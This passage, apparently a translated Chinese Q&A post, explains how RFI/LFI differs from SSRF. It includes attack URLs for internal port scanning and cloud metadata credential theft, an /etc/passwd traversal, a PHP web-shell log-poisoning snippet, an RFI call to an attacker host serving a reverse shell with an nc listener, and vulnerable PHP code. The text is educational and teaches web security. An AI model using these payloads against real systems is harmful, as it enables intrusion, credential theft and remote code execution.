RFI/LFI 和 SSRF 有什么区别？
服务器端请求伪造可以是 RFI 或 LFI
它可以与 RFI 相同。同样的两个漏洞可以存在于同一个函数中。需要注意的是，许多 Web 应用程序可能会阻止通过防火墙或其他方式访问外部域，从而使 RFI 部分对于外部主机“不可能”。
想象一下，您有一个 Web 应用程序，它要求您提供特定的 URL，并根据该 URL 输出信息。
假设 RFI 在防火墙级别被阻止，因为它无法与外部源通信，并且只有内部主机被列入白名单。或者我们可以假设预处理器引擎或 Web 应用程序具有通过使用转义等来防止远程代码执行的功能。
那么，如果您输入的是内部IP 地址而不是外部 IP，该怎么办？
hxxp://vulnerablesite.com/read_page.php?file=hxxp://10.40.20.100
如果 Web 应用程序基于该页面返回信息，则在某些情况下可能会将其转换为 RCE，甚至使用 SSRF 漏洞对内部资源运行端口扫描。
让我们尝试对 SSH 端口进行“扫描”：
hxxp://vulnerablesite.com/read_page.php?file=hxxp://10.40.20.100:22
返回以下错误：
PHP Warning: fopen(hxxp://10.40.20.100:22):
failed to open stream: hxxp request failed!
SSH-2.0-OpenSSH_7.7p1 Debian-3 in
/home/markfluffybunnybuffalo/test.php on line 2
您刚刚透露我在该内部网络地址上打开了 SSH。唔。也许你可以在其他端口上做一些枚举，看看有什么开放的。您甚至可以在某个地方找到一个文件存档，您可以通过它获得某种内部RFI。
您还可以读取通常仅在内部网络上可用的资源，包括云元数据。
在许多情况下，SSRF 攻击也可以像 RFI 攻击一样工作。但总的来说，人们会（我希望）禁用不在网络服务器本身上的远程文件的包含。
云元数据
滥用 SSRF 漏洞的最恶劣方法之一是通过包含云元数据文件，该文件可以为您提供访问凭据，该凭据可用于在云托管服务提供商之间横向升级。
下面显示了各种云提供商或技术的示例：
亚马逊网络服务 (AWS)
hxxp://169.254.169.254/latest/meta-data/iam/security-credentials/dummy
hxxp://169.254.169.254/latest/user-data
hxxp://169.254.169.254/latest/user-data/iam/security-credentials/[ROLE]
hxxp://169.254.169.254/latest/meta-data/iam/security-credentials/[ROLE]
hxxp://169.254.169.254/latest/meta-data/ami-id
hxxp://169.254.169.254/latest/meta-data/reservation-id
hxxp://169.254.169.254/latest/meta-data/hostname
hxxp://169.254.169.254/latest/meta-data/public-keys/0/openssh-key
hxxp://169.254.169.254/latest/meta-data/public-keys/[ID]/openssh-key
微软天青
hxxp://169.254.169.254/metadata/instance?api-version=2017-04-02
hxxp://169.254.169.254/metadata/instance/network/interface/0/ipv4/ipAddress/0/publicIpAddress?api-version=2017-04-02&format=text
谷歌云平台 (GCP)
hxxp://169.254.169.254/computeMetadata/v1/
hxxp://metadata.google.internal/computeMetadata/v1/
hxxp://metadata/computeMetadata/v1/
hxxp://metadata.google.internal/computeMetadata/v1/instance/hostname
hxxp://metadata.google.internal/computeMetadata/v1/instance/id
hxxp://metadata.google.internal/computeMetadata/v1/project/project-id
hxxp://metadata.google.internal/computeMetadata/v1/instance/attributes/kube-env
hxxp://metadata.google.internal/computeMetadata/v1/instance/disks/?recursive=true
hxxp://metadata.google.internal/computeMetadata/v1beta1/instance/attributes/?recursive=true&alt=json
甲骨文云
hxxp://192.0.0.192/latest/
hxxp://192.0.0.192/latest/user-data/
hxxp://192.0.0.192/latest/meta-data/
hxxp://192.0.0.192/latest/attributes/
Kubernetes
hxxps://kubernetes.default.svc.cluster.local
hxxps://kubernetes.default
hxxps://kubernetes.default.svc/metrics
本地文件包含
易受 LFI 影响的函数也可能易受 RFI 影响。这取决于。在这种情况下，您将包含一个本地文件，例如
hxxp://vulnerablesite.com/read_page.php?file=../../../../etc/passwd
这使您可以查看系统上的用户，因此您可以尝试以这些用户之一的身份通过 SSH 连接，或者查找有关他们的更多信息。你可以用它做很多不同的事情。
也许您还可以包含一个您已经写入服务器的脚本，或者您可能已经access.log使用预处理器引擎执行的代码（例如放置<? echo shell_exec($_GET["c"]); ?>在记录的合法请求中）来获取远程代码根据上下文作为不同的用户执行。
远程文件包含
见上文，只有它允许远程文件。该函数可能容易受到 LFI 和 RFI 的攻击。
使用 RFI，执行代码的可能性非常高。您可以托管一个 Web 服务器，它返回 PHP 代码而不通过预处理器引擎对其进行处理，然后在受害者的服务器上执行。
hxxp://vulnerablesite.com/read_page.php?file=hxxp://hax.com/reverse-shell.php
如果您将 PHP 代码放在该文件中，您可能能够执行带有此漏洞的代码。一个例子是使用反向 shell 代码。你会抛出一个听众：
nc -nlvp 4444
然后访问带有 RFI 漏洞的页面，这应该会触发你的反向 shell：
connect to [10.40.20.100] from (UNKNOWN) [216.58.218.100] 48984
python -c 'import pty;pty.spawn("/bin/sh");'
$ whoami
markfluffybunnybuffalo
结论
所以看起来 RFI/LFI 和 SSRF 几乎是同一类漏洞，只是使用方式不同。
SSRF 和 RFI/LFI 都是注入攻击，但它们是不同的，并且根据它们的实现方式可能具有不同的含义。
对于 SSRF，请考虑以下示例：
if (isset($_GET['uri'])){
$uri = $_GET['uri'];
$location = fopen($uri, 'rb');
在上面的代码中，用户可以控制“uri”参数，并且可以从目标服务器向外部服务器发出任意请求。现在，这也可以被滥用来向目标服务器可以访问的资源发出请求。类似http://localhost/aws-stats或访问其他内部资源。您可以进一步枚举本地网络的端口/服务，或使用“file://”和“dict://”方案访问服务器上的文件。
RFI/LFI，看DVWA中的代码：https ://github.com/ethicalhack3r/DVWA/blob/master/vulnerabilities/fi/index.php
if( isset( $file ) )
include( $file );
这与 SSRF 非常相似，但也可以被滥用以包含您自己的 PHP 代码并在服务器上执行它。有几种方法可以利用 LFI/RFI 来获得 RCE。你可能想看看这篇论文：